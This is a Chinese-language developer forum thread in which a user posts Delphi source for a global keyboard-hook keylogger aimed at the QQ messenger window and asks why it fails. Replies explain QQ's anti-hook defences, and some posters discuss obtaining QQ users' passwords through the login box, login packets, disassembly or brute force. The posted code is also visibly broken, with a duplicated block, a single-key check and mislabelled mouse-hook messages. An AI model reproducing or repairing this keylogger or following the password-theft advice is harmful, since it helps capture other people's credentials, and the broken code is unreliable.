关于键盘记录问题的请教

hsdff1909 2010-01-02 07:09:45
以下是本人写的键盘记录程序,为什么只能在本程序处于焦点时才对键盘操作记录,而当QQ处于焦点时不记录呢?
谢谢!!


library GMousehook;
uses
SysUtils,
System,
Classes,
WinTypes,
WinProcs,
Messages;
var
{holds various global values}
IsHooked: Boolean;
HookHandle: HHook;
DesktopWin: HWND;
hw:HWND;
MyRecore:TextFile;

function HookProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
hw:= Findwindow(nil,'QQ2009');

if (wParam=VK_TAB) and (hw<>0) then
begin

AssignFile(MyRecore,'MyRecore.txt');
append(MyRecore);
try
writeln(MyRecore,'TAB');
finally
closeFile(MyRecore);
end;
end;
Result := CallNextHookEx(HookHandle, Code, wParam, lParam);
end;
Result := CallNextHookEx(HookHandle, Code, wParam, lParam);
end;
function SetHook: Boolean; stdcall;
begin
Result := FALSE;

if IsHooked then
Exit;
DesktopWin := GetDeskTopWindow;
HookHandle := SetWindowsHookEx(WH_KEYBOARD, HookProc, HInstance, 0);
Result := HookHandle <> 0;
end;
function RemoveHook: Boolean; stdcall;
begin
Result := FALSE;
if (not IsHooked) and (HookHandle <> 0) then
Result := UnhookWindowsHookEx(HookHandle);
IsHooked := FALSE;
end;
exports
SetHook name 'SetHook',
RemoveHook name 'RemoveHook',
HookProc name 'HookProc';
begin
IsHooked := FALSE;
end.



unit MouseHookDemoU;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
function SetHook: Boolean; stdcall;
function RemoveHook: Boolean; stdcall;
var
Form1: TForm1;
implementation
{$R *.dfm}
function SetHook; external 'GMouseHook.dll' name 'SetHook';
function RemoveHook; external 'GMouseHook.dll' name 'RemoveHook';
procedure TForm1.Button1Click(Sender: TObject);
begin
if SetHook then
ShowMessage('Global Mouse Hook Set, Click on Desktop')
else
ShowMessage('Global Mouse Hook Not Set');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if RemoveHook then
ShowMessage('Global Mouse Hook Removed, Click on Desktop')
else
ShowMessage('Global Mouse Hook Not Removed');
end;
end.

...全文
123 14 打赏 收藏 举报
写回复
14 条回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
slmax1 2010-01-06
  • 打赏
  • 举报
回复
据我所知,QQ在登陆的时候是调用了一个命令行,这个命令行就包含了QQ号码和密码,不过这个QQ密码是经过QQ。EXE加密之后的密码,是用HASH32还是HASH64加密而成,取得了之后还要解密,QQ公司的人也不知道自己QQ的密码,登陆方式只是把加密后的字符和服务器上的字符对比来判断是否成功。唯一能做的就是暴力破解。只不过成功率不高而已
hjkto 2010-01-03
  • 打赏
  • 举报
回复
[Quote=引用 12 楼 gyk120 的回复:]
如果你登陆了就没法了,想获得QQ密码只能通过登陆框和登录时数据包,数据包较难,登陆框可能简单一点
[/Quote]

我以为od,什么动态调试可以获取qq密码呢,看来我理解不够
gyk120 2010-01-03
  • 打赏
  • 举报
回复
如果你登陆了就没法了,想获得QQ密码只能通过登陆框和登录时数据包,数据包较难,登陆框可能简单一点
hsdff1909 2010-01-03
  • 打赏
  • 举报
回复
不行啊,就是把QQ改成其它的程序不如说“记事本”也还是不行( ⊙ o ⊙ )啊!
hsdff1909 2010-01-03
  • 打赏
  • 举报
回复
你可以重建一个包,再重新加载一下试试
hjkto 2010-01-03
  • 打赏
  • 举报
回复
[Quote=引用 10 楼 gyk120 的回复:]
引用 6 楼 csshow 的回复:
引用 2 楼 gyk120 的回复:
QQ对自己做了底层钩子挂钩,而且每隔几秒钟就会自动使用WH_Debug将自己的钩子放置在钩子列表的顶端,使其它的钩子无效


你是怎么知道的?

调试QQ啊,直接反汇编一下,什么都出来了
[/Quote]

版主,能反汇编到什么程序,最大限度的话,可以取到登录者的密码吗?如qq进程还在的话?
cj12315410 2010-01-03
  • 打赏
  • 举报
回复
[Fatal Error] Required package 'D7XLR4_R' not found
请问,这到底应该怎么解决啊
slmax1 2010-01-03
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 gyk120 的回复:]
QQ对自己做了底层钩子挂钩,而且每隔几秒钟就会自动使用WH_Debug将自己的钩子放置在钩子列表的顶端,使其它的钩子无效
[/Quote]


你是怎么知道的?
gyk120 2010-01-03
  • 打赏
  • 举报
回复
[Quote=引用 6 楼 csshow 的回复:]
引用 2 楼 gyk120 的回复:
QQ对自己做了底层钩子挂钩,而且每隔几秒钟就会自动使用WH_Debug将自己的钩子放置在钩子列表的顶端,使其它的钩子无效



你是怎么知道的?
[/Quote]
调试QQ啊,直接反汇编一下,什么都出来了
hjkto 2010-01-02
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 haochin 的回复:]
关注一下,,,

海啸,你的等级怎么升的那么快啊。。。
[/Quote]

上论坛比上班勤
贝隆 2010-01-02
  • 打赏
  • 举报
回复
帮顶
haochin 2010-01-02
  • 打赏
  • 举报
回复
关注一下,,,

海啸,你的等级怎么升的那么快啊。。。
gyk120 2010-01-02
  • 打赏
  • 举报
回复
QQ对自己做了底层钩子挂钩,而且每隔几秒钟就会自动使用WH_Debug将自己的钩子放置在钩子列表的顶端,使其它的钩子无效
hjkto 2010-01-02
  • 打赏
  • 举报
回复
观注一下
发帖
Windows SDK/API

1177

社区成员

Delphi Windows SDK/API
社区管理员
  • Windows SDK/API社区
加入社区
帖子事件
创建了帖子
2010-01-02 07:09
社区公告
暂无公告